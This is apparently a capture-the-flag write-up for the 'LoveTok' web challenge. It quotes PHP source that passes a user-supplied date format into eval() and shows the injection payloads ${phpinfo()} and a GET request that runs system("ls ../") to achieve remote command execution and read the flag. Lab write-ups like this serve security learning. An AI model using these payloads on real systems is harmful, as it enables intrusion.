Skip to content

LoveTok

Scenario

True love is tough, and even harder to find. Once the sun has set, the lights close and the bell has rung... you find yourself licking your wounds and contemplating human existence. You wish to have somebody important in your life to share the experiences that come with it, the good and the bad. This is why we made LoveTok, the brand new service that accurately predicts in the threshold of milliseconds when love will come knockin' (at your door). Come and check it out, but don't try to cheat love because love cheats back. 💛

Solution

The challenge is a web application with a simple interface:

alt text

Clicking the button updates the timer above it with a new random date and time.

The PHP source code for the challenge is provided. The application supports a single route, format, defined in controllers/TimeController.php:

<?php
class TimeController
{
    public function index($router)
    {
        $format = isset($_GET['format']) ? $_GET['format'] : 'r';
        $time = new TimeModel($format);
        return $router->view('index', ['time' => $time->getTime()]);
    }
}

When accessed, the route calls TimeModel() with a $format. The argument specifies how the timer on the page should be displayed. TimeModel() is defined in models/TimeModel.php:

<?php
class TimeModel
{
    public function __construct($format)
    {
        $this->format = addslashes($format);

        [ $d, $h, $m, $s ] = [ rand(1, 6), rand(1, 23), rand(1, 59), rand(1, 69) ];
        $this->prediction = "+${d} day +${h} hour +${m} minute +${s} second";
    }

    public function getTime()
    {
        eval('$time = date("' . $this->format . '", strtotime("' . $this->prediction . '"));');
        return isset($time) ? $time : 'Something went terribly wrong';
    }
}

The getTime() function passes the specified format to strtotime() which accepts a set of standard format specifiers for time and date.

The vulnerability in the application is the use of eval() to parse the format specifier without proper sanititization. The format specifier is a user-controlled value. Passing it to eval() allows for arbitrary code execuction through the format parameter.

The call to addslashes() on line 6 is used to escape the followins characters by prepending a backslash before them:

  • Single quote (')
  • Double quote (")
  • Backslash (\)
  • NULL

This does prevent payloads with variables containing quotes, but this is easily bypassed by encapsulating variables in curly braces.

As shown in the example linked aboved, phpinfo() can be executed by passing the format specifier ${phpinfo()}:

alt text

Using the following payload, the same method can be used to execute OS commands on the target:

GET /?format=echo(var_dump(${eval($_GET[1])}=123)&1=system("ls%20../");

This returns the contents of /:

alt text

Modified the payload to read the contents of the flag file and got the flag.